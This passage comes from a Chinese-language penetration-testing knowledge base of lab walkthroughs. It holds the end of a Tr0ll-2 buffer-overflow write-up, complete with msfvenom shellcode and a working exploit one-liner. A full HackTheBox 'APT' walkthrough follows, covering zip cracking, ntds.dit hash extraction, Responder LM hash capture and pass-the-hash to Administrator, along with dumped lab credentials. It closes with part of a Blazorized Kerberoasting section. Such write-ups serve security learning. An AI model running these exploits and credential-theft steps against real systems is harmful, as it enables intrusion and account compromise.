Starting program: /nothing_to_see_here/choose_wisely/door3/r00t Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()
(gdb) i r esp
esp            0xbffffab0       0xbffffab0
(gdb)
```

将模式转换为十进制缓冲区大小

``` bash
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6a413969
[*] Exact match at offset 268
```

使用msfvenom创建/bin/sh的payload并转义空字节

``` bash
root@kali:~/vulnhub/troll2# msfvenom --platform linux -p linux/x86/exec -f python CMD="/bin/sh" -b '\x00\x0a\x0d' -a x86
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of python file: 357 bytes
buf =  b""
buf += b"\xba\x44\x81\xb3\x61\xdb\xd6\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x0b\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2"
buf += b"\xb1\xeb\xb8\x39\xa0\xbe\xd8\xd1\xff\x5d\xac\xc5\x97"
buf += b"\x8e\xdd\x61\x67\xb9\x0e\x10\x0e\x57\xd8\x37\x82\x4f"
buf += b"\xd2\xb7\x22\x90\xcc\xd5\x4b\xfe\x3d\x69\xe3\xfe\x16"
buf += b"\xde\x7a\x1f\x55\x60"
```

编写漏洞利用程序。（A * 268）（shell偏移量）（nop sled）（shellcode）

发现esp的位置是0xbffffab0，但不能使用此偏移量作为shell位置。必须稍微增加或减少偏移量，因为在调试二进制文件时内存有所不同。

``` bash
./r00t $(python -c "print 'A' * 268 + '\x90\xfb\xff\xbf' + '\x90' * 100 + '\xba\x44\x81\xb3\x61\xdb\xd6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x0b\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\xb1\xeb\xb8\x39\xa0\xbe\xd8\xd1\xff\x5d\xac\xc5\x97\x8e\xdd\x61\x67\xb9\x0e\x10\x0e\x57\xd8\x37\x82\x4f\xd2\xb7\x22\x90\xcc\xd5\x4b\xfe\x3d\x69\xe3\xfe\x16\xde\x7a\x1f\x55\x60'")
```

进入目录执行编写好的exp

``` bash
cd door3
./r00t $(python -c "print 'A' * 268 + '\x90\xfb\xff\xbf' + '\x90' * 100 + '\xba\x44\x81\xb3\x61\xdb\xd6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x0b\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\xb1\xeb\xb8\x39\xa0\xbe\xd8\xd1\xff\x5d\xac\xc5\x97\x8e\xdd\x61\x67\xb9\x0e\x10\x0e\x57\xd8\x37\x82\x4f\xd2\xb7\x22\x90\xcc\xd5\x4b\xfe\x3d\x69\xe3\xfe\x16\xde\x7a\x1f\x55\x60'")
id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)
whoami
root
cd /root
ls -la
total 80
drwx------ 11 root   root   4096 Oct 14  2014 .
drwxr-xr-x 23 root   root   4096 Oct  5  2014 ..
-rw-------  1 root   root     67 Oct 14  2014 .bash_history
-rw-r--r--  1 root   root   3106 Apr 19  2012 .bashrc
-rw-r--r--  1 root   root    140 Apr 19  2012 .profile
-rw-r--r--  1 root   root     66 Oct  5  2014 .selected_editor
drwx------  2 root   root   4096 Oct  4  2014 .ssh
drwxr-xr-x  2 root   root   4096 Oct  5  2014 .vim
-rw-------  1 root   root   4259 Oct 14  2014 .viminfo
-rw-r--r--  1 root   root     68 Oct  6  2014 Proof.txt
drwxr-xr-x  5 root   root   4096 Oct  4  2014 core1
drwxr-xr-x  5 root   root   4096 Oct  4  2014 core2
drwxr-xr-x  5 root   root   4096 Oct  4  2014 core3
drwxr-xr-x  5 root   root   4096 Oct  4  2014 core4
drwxr-xr-x  2 root   root   4096 Oct  5  2014 goal
drwxr-xr-x  2 root   root   4096 Oct  6  2014 hardmode
-rw-r--r--  1 maleus maleus 1474 Oct  4  2014 lmao.zip
-rw-r--r--  1 root   root    828 Oct  4  2014 ran_dir.py
drwxr-xr-x  2 root   root   4096 Oct  6  2014 reboot
cat Proof.txt
You win this time young Jedi...

a70354f0258dcc00292c72aab3c8b1e4
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub235.jpg)

到此为止，已经成功地获取了root权限，并找到了flag。


#### 知识点总结

 - md5值校验
 - base64加密文本字符串解密
 - fcrackzip破解压缩包密码
 - ssh使用rsa私匙登录
 - shellshock漏洞利用
 - 设置SUID位的二进制文件使用gdb调试缓冲区溢出位置
 - msfvenom生成shellcode
 - 缓冲区溢出shellcode exp脚本编写

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>







<!-- kb:end Tr0ll-2 -->

</details>




# Kerberos、凭据材料与服务权限

域用户口令、NTLM、证书、TGT 与服务票据能使用的接口并不相同。本章结合 IPv6 服务、WriteSPN、表格与 PFX 材料，记录原实验中的认证选择、时钟问题和目录读取权限。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/kerberos/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

APT 记录 NTLM 登录不可用而 TGT 可用的实际差异，同时保留 IPv6 网络位置要求。

Blazorized 将 BloodHound 数据、WriteSPN 与会话权限逐步对应。

Search 与 Timelapse 的 gMSA、LAPS、证书和历史文件分别提供不同身份材料。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [IPv6 暴露面与认证协议差异](#case-apt) | apt | IPv6、Kerberos、NTLM、Active Directory |
| [WriteSPN 权限与域会话分析](#case-blazorized) | blazorized | Kerberos、BloodHound、ACL、DCSync |
| [表格与证书中的身份材料](#case-search) | search | Kerberos、gMSA、证书、BloodHound |
| [PFX 身份与 LAPS 读取范围](#case-timelapse) | timelapse | 证书、WinRM、LAPS |

<a id="case-apt"></a>

## IPv6 暴露面与认证协议差异

IOXIDResolver 发现的 IPv6 服务与 IPv4 的可达性不同；备份中的域数据库、可用 TGT、注册表与固定 challenge 的 LM 处理构成原文认证链。

<p class="kb-provenance">来源 apt · 原记录 2021-02-07 · 24 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-apt">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start apt -->

#### introduce

OS: Windows
Difficulty: Insane
Points:	50
Release:	31 Oct 2020
IP:	10.10.10.213

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb177.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/apt]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.213
PORT    STATE SERVICE    VERSION
80/tcp  open  tcpwrapped
135/tcp open  tcpwrapped
```

ipv6扫描，首先用脚本获得ipv6地址：

 - [IOXIDResolver](https://github.com/mubix/IOXIDResolver)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/apt]
└─# python /root/IOXIDResolver-master/IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::3d18:f278:e3b:8a82
```

加hosts：

``` bash
dead:beef::b885:d62a:d679:573f apt.htb
```

#### ipv6 scan

Ipv6看到很多端口可能开放，例如445:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/apt]
└─# nmap -vv --reason -6 -Pn -sU -A --top-ports=20 --version-all dead:beef::b885:d62a:d679:573f
...
PORT      STATE         SERVICE      REASON      VERSION
53/udp    open|filtered domain       no-response
67/udp    open|filtered dhcps        no-response
68/udp    open|filtered dhcpc        no-response
69/udp    open|filtered tftp         no-response
123/udp   open|filtered ntp          no-response
135/udp   open|filtered msrpc        no-response
137/udp   open|filtered netbios-ns   no-response
138/udp   open|filtered netbios-dgm  no-response
139/udp   open|filtered netbios-ssn  no-response
161/udp   open|filtered snmp         no-response
162/udp   open|filtered snmptrap     no-response
445/udp   open|filtered microsoft-ds no-response
500/udp   open|filtered isakmp       no-response
514/udp   open|filtered syslog       no-response
520/udp   open|filtered route        no-response
631/udp   open|filtered ipp          no-response
1434/udp  open|filtered ms-sql-m     no-response
1900/udp  open|filtered upnp         no-response
4500/udp  open|filtered nat-t-ike    no-response
49152/udp open|filtered unknown      no-response
...
```

#### SMB

这里需要vpn和smbclient同一台机器才能访问到ipv6地址，mac连vpn，kali虚拟机能访问到靶机ipv4,访问不了ipv6:

smb匿名访问，可以看到有个backup目录：

``` bash
┌──(root💀kali)-[~/hackthebox/machine/apt]
└─# smbclient -L //apt.htb/ -U""
Enter WORKGROUP\root's password: 
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        backup          Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
apt.htb is an IPv6 address -- no workgroup available
```

#### backup

``` bash
┌──(root💀kali)-[~/hackthebox/machine/apt]
└─# smbclient //apt.htb/backup -U""
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Sep 24 03:30:52 2020
  ..                                  D        0  Thu Sep 24 03:30:52 2020
  backup.zip                          A 10650961  Thu Sep 24 03:30:32 2020

                10357247 blocks of size 4096. 7270207 blocks available
smb: \> get backup.zip
```

里面是一个zip文件，下载下来：

解压需要密码

#### zip crack

首先破解压缩包密码：

``` bash
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip

PASSWORD FOUND!!!!: pw == iloveyousomuch
```

#### secrets

看到里面有SYSTEM和ntds.dit，那就是通过这两个文件提取hash：

``` bash
cp Active\ Directory/ntds.dit .
cp registry/SYSTEM .
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL > user_pass_and_hash.txt
```

手动把txt开头结尾的输出删掉，只留hash信息

#### users.txt

提取出用户名：

``` bash
cat users_and_hashes.txt | awk -F '\\:' '{print $1}' | uniq -u | sort > users.txt
```

#### kerbrute

用kerbrute筛选出有效的用户名：

 - [kerbrute](https://github.com/ropnop/kerbrute)

这里先改下hosts, 域控和域也加进去：

``` bash
dead:beef::b885:d62a:d679:573f apt.htb apt.htb.local htb.local
```

之后kerbrute做用户枚举：

``` bash
./kerbrute --dc apt.htb.local -d htb.local users.txt
```

有三个有效用户名，需要关注henry.vinson(爆破挺费时间的，等吧)：

#### henry.vinson

hash也只需要这个用户的就可以，但这个hash并不能直接用于登录：

``` bash
cat users_and_hashes.txt | grep henry.vinson

henry.vinson:3647:aad3b435b51404eeaad3b435b51404ee:2de80758521541d19cabba480b260e8f:::
henry.vinson:aes256-cts-hmac-sha1-96:4c0ec4cffc953266ed72d9b565da62115655d2f402416af92e4e76d121663e2f
henry.vinson:aes128-cts-hmac-sha1-96:da63c28166768a2829f00d30ec9fbddd
henry.vinson:des-cbc-md5:80a2c83213b3dfd6
```

#### hashes

之前得到的那些也可以处理一下，只留hash：

``` bash
cat users_and_hashes.txt | grep -v aes | grep -v des | awk -F '\\:' '{print $3":"$4}' > hashes.txt
```

#### getTGT

如果尝试crackmapexec用有效用户名和hash组合爆破的话会被锁定，可以使用getTGT, 得到有效hash及tgt(hash不能通过evil-winrm登录):

``` bash
┌──(root💀kali)-[~/hackthebox/machine/apt]
└─# python3 /usr/share/doc/python3-impacket/examples/getTGT.py HTB.local/henry.vinson@apt.htb -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in henry.vinson@apt.htb.ccache

export KRB5CCNAME=henry.vinson@apt.htb.ccache
```

#### regdump

因为有ticket。可以去dump注册表(这一步也费时间，等吧)：

``` bash
impacket-reg -k apt.htb.local query -keyName HKU -s >> regdump.txt
```

#### henry password

搜索发现Username，去查看对应位置得到password：

``` bash
cat regdump.txt | grep -n henry

UserName	REG_SZ	 henry.vinson_adm
PassWord	REG_SZ	 G1#Ny5@2dvht
```

#### user flag

然后直接evil-winrm连上去，得到user.txt:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/apt]
└─# evil-winrm -i apt.htb -u henry.vinson_adm -p 'G1#Ny5@2dvht'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> whoami
htb\henry.vinson_adm
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> cd ..
*Evil-WinRM* PS C:\Users\henry.vinson_adm> ls


    Directory: C:\Users\henry.vinson_adm


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/24/2020   9:17 AM                Contacts
d-r---       10/23/2020  11:02 AM                Desktop
d-r---       10/23/2020  10:39 AM                Documents
d-r---        9/24/2020   9:17 AM                Downloads
d-r---        9/24/2020   9:17 AM                Favorites
d-r---        9/24/2020   9:17 AM                Links
d-r---        9/24/2020   9:17 AM                Music
d-r---        9/24/2020   9:17 AM                Pictures
d-r---        9/24/2020   9:17 AM                Saved Games
d-r---        9/24/2020   9:17 AM                Searches
d-r---        9/24/2020   9:17 AM                Videos


*Evil-WinRM* PS C:\Users\henry.vinson_adm> cd Desktop
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> cat user.txt
da54b84a64d4bf09badf5c4f1dc839c4
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb178.jpg)

#### 信息搜集

powershell历史中相关信息，显示更改过LAN Manager的安全级别，根据文档，2意味着客户端设备使用NTLMv1身份验证，如果服务器支持，则它们使用NTLMv2会话安全性。域控制器接受LM，NTLM和NTLMv2身份验证：

``` bash
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> type C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}
```

 - [Network security: LAN Manager authentication level](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level)

可以考虑使用Responder捕获LM hash, 让目标尝试连接回我们即可

#### Responder

这里利用了服务器上的Defender,让它扫描我们的smb，从而得到LM hash：

``` bash
nano /etc/responder/Responder.conf
Challenge = 1122334455667788

sudo responder --lm -I tun0

# target
cd "\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0"
.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.3\file.exe

[+] Listening for events...
[SMB] NTLMv1 Client   : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     : APT$::HTB:F9998A19AC07AC9080BFB4D376E2DF7A42EFA694AA779027:F9998A19AC07AC9080BFB4D376E2DF7A42EFA694AA779027:17a961c8b50fdbd7
[*] Skipping previously captured hash for HTB\APT$
[*] Skipping previously captured hash for HTB\APT$
```

#### hash crack

需要手动设置challenge后的hash，前面随机challenge的话就改配置再跑一遍：

``` bash
APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788
```

直接在线提交破解：

 - [crack.sh](https://crack.sh/get-cracking/)

``` bash
NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
Key: d167c3238864b12f5f82feae86a7f798
```

#### secretsdump

然后就是使用得到的key组合出新hash(前半部分意味着无密码)，使用这个hash去dump secrets：

``` bash
aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/apt]
└─# impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798 'apt.htb/APT$@Apt.htb.local'
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:72f9fc8f3cd23768be8d37876d459ef09ab591a729924898e5d9b3c14db057e3
Administrator:aes128-cts-hmac-sha1-96:a3b0c1332eee9a89a2aada1bf8fd9413
Administrator:des-cbc-md5:0816d9d052239b8a
krbtgt:aes256-cts-hmac-sha1-96:b63635342a6d3dce76fcbca203f92da46be6cdd99c67eb233d0aaaaaa40914bb
krbtgt:aes128-cts-hmac-sha1-96:7735d98abc187848119416e08936799b
krbtgt:des-cbc-md5:f8c26238c2d976bf
henry.vinson:aes256-cts-hmac-sha1-96:63b23a7fd3df2f0add1e62ef85ea4c6c8dc79bb8d6a430ab3a1ef6994d1a99e2
henry.vinson:aes128-cts-hmac-sha1-96:0a55e9f5b1f7f28aef9b7792124af9af
henry.vinson:des-cbc-md5:73b6f71cae264fad
henry.vinson_adm:aes256-cts-hmac-sha1-96:f2299c6484e5af8e8c81777eaece865d54a499a2446ba2792c1089407425c3f4
henry.vinson_adm:aes128-cts-hmac-sha1-96:3d70c66c8a8635bdf70edf2f6062165b
henry.vinson_adm:des-cbc-md5:5df8682c8c07a179
APT$:aes256-cts-hmac-sha1-96:4c318c89595e1e3f2c608f3df56a091ecedc220be7b263f7269c412325930454
APT$:aes128-cts-hmac-sha1-96:bf1c1795c63ab278384f2ee1169872d9
APT$:des-cbc-md5:76c45245f104a4bf
[*] Cleaning up...
```

#### get root

直接使用Administrator hash连接，得到root.txt:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/apt]
└─# evil-winrm -i apt.htb -u Administrator -H c370bddf384a691d811ff3495e8a72e2

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         2/7/2021   2:57 PM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
e950f2ec0ba974b0e264f13c08473602
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb179.jpg)


#### Summary of knowledge

 - IOXIDResolver获得ipv6地址
 - smb匿名访问
 - zip压缩包破解
 - impacket-secretsdump提取hash
 - kerbrute用户枚举
 - getTGT, 得到有效hash及tgt
 - impacket-reg dump注册表
 - Responder利用服务器上的Defender扫描本机smb捕获LM hash
 - crack.sh crack hash
 - impacket-secretsdump dump administrator's LM hash

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end apt -->

</details>

<a id="case-blazorized"></a>

## WriteSPN 权限与域会话分析

原记录围绕 WriteSPN Kerberoasting、BloodHound 图关系、域控会话和 DCSync 展开，保留了环境搭建、数据采集及各节点的权限证据。

<p class="kb-provenance">来源 blazorized · 原记录 2024-11-10 · 23 个代码块 · 10 处图片引用</p>

<details class="kb-evidence" id="record-blazorized">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start blazorized -->

#### 简述

本文是Hard难度的HTB Blazorized机器的域渗透部分，其中WriteSPN Kerberoasting + DC session pirvesc + DCSync hash dump + Bloodhound-CE等域渗透提权细节是此box的特色，主要参考[0xdf's blog Blazorized walkthrough](https://0xdf.gitlab.io/2024/11/09/htb-blazorized.html)记录这篇博客加深记忆和理解，及供后续做深入研究查阅，备忘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized.png)



#### 域渗透部分
#### bloodhound分析
#### 安装配置bloodhound

使用的是较新的Bloodhound-CE，它作为Docker容器运行得非常好。在docker compose中使用curl命令设置它：

``` bash
curl -L https://ghst.ly/getbhce | BLOODHOUND_PORT=8888 docker compose -f - up
```

这是[文档](https://support.bloodhoundenterprise.io/hc/en-us/articles/17468450058267-Install-BloodHound-Community-Edition-with-Docker-Compose)中相同的命令，只是添加了BLOODHOUND_PORT=8888，因为默认情况下它想在8080上运行web服务器，已经有Burp侦听。

在输出大约50行之后，它会打印出一个随机的临时密码：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized1.png)

访问localhost:8888，它将显示一个Bloodhound登录屏幕。以用户名admin和给定的密码登录，并在提示时更新。

在下一个窗口中，它显示这个数据库中没有数据（这是预期的，因为还没有收集任何数据）：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized2.png)

右上方的齿轮图标提供了一个菜单，其中包括"Download Collectors"：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized3.png)

该页面有SharpHound二进制文件可供下载，下载、解压缩并使用Python web服务器托管SharpHound.exe。

#### Collection

只有一个shell，box没有creds，需要用Blazorized上运行的东西来收集bloodhound的数据。已经从上面得到了SharpHound.exe，把它上传到Blazorized并运行：

``` bash
PS C:\programdata> wget http://10.10.14.6/SharpHound.exe -outfile SharpHound.exe
PS C:\programdata> .\SharpHound.exe -c all
2024-11-01T06:09:19.7721017-05:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2024-11-01T06:09:20.0220952-05:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2024-11-01T06:09:20.0689718-05:00|INFORMATION|Initializing SharpHound at 6:09 AM on 11/1/2024
2024-11-01T06:09:20.1158490-05:00|INFORMATION|Resolved current domain to blazorized.htb
2024-11-01T06:09:20.2564704-05:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2024-11-01T06:09:20.3970940-05:00|INFORMATION|Beginning LDAP search for blazorized.htb
2024-11-01T06:09:20.5064724-05:00|INFORMATION|Beginning LDAP search for blazorized.htb Configuration NC
2024-11-01T06:09:20.5377221-05:00|INFORMATION|Producer has finished, closing LDAP channel
2024-11-01T06:09:20.5377221-05:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-11-01T06:09:20.5845970-05:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for BLAZORIZED.HTB
2024-11-01T06:09:20.5845970-05:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for BLAZORIZED.HTB
2024-11-01T06:09:20.9283450-05:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for BLAZORIZED.HTB
2024-11-01T06:09:21.4908447-05:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2024-11-01T06:09:21.5220984-05:00|INFORMATION|Output channel closed, waiting for output task to complete
2024-11-01T06:09:21.6627215-05:00|INFORMATION|Status: 313 objects finished (+313 313)/s -- Using 37 MB RAM
2024-11-01T06:09:21.6627215-05:00|INFORMATION|Enumeration finished in 00:00:01.2861155
2024-11-01T06:09:21.7877405-05:00|INFORMATION|Saving cache with stats: 20 ID to type mappings.
 2 name to SID mappings.
 1 machine sid mappings.
 4 sid to domain mappings.
 0 global catalog mappings.
2024-11-01T06:09:21.8346081-05:00|INFORMATION|SharpHound Enumeration Completed at 6:09 AM on 11/1/2024! Happy Graphing!
```

在主机上启动smbserver.py，创建一个名为share的共享：

``` bash
fdluci@hacky$ smbserver.py share . -smb2support -username fdluci -password fdluci
Impacket v0.13.0.dev0+20241024.90011.835e1755 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
```

从Blazorized连接到共享并拷贝zip文件：

``` bash
PS C:\programdata> net use \\10.10.14.6 /u:fdluci fdluci
The command completed successfully.
PS C:\programdata> copy *.zip \\10.10.14.6\share\
```

#### 加载数据

回到Bloodhound网页，在齿轮图标下，点击"Administration"进入"File Ingest"页面。点击"Upload File(s)"，把存档文件给它。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized4.png)

#### 分析

点击"Explore"进入Bloodhound窗口。首先找到拥有的用户nu_1055，并将它们标记为已拥有。首先看到的是"Outbound Object Control"：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized5.png)

点击它将RSA_4810添加到界面中：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized6.png)

nu_1055已经通过RSA_4810用户WriteSPN。

#### Targeted Kerberoast
#### 背景

服务主体名称（Service Principal Name，SPN）是一个唯一标识符，它将服务实例与Kerberos中的服务帐户关联起来。

Kerberoasting是一种攻击，通过身份验证的用户通过服务的SPN请求服务票证，返回的票证使用与该服务关联的用户的密码进行加密。如果该密码很弱，则可以通过离线暴力破解破解。

为了执行有针对性的kerberoast，为RSA_4810帐户分配一个SPN。然后可以申请一张ticket作为假服务，并获得一张用RSA_4810的密码加密的票来破解。

当点击WriteSPN时，在Bloodhound右侧面板的"Windows Abuse"部分给出了从Windows执行此攻击的完整过程：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized7.png)

#### Exploit

需要[PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)来运行上面的命令。把它下载到主机上，用Python作为服务器，然后上传到Blazorized。接下来导入它：

``` bash
wget http://10.10.14.87:88/PowerView.ps1 -outfile PowerView.ps1

PS C:\programdata> . .\PowerView.ps1
```

现在设置用户的SPN：

``` bash
PS C:\programdata> Set-DomainObject -Identity RSA_4810 -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}
```

然后得到一张ticket，输出hash：

``` bash
PS C:\programdata> Get-DomainUSer RSA_4810 | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash
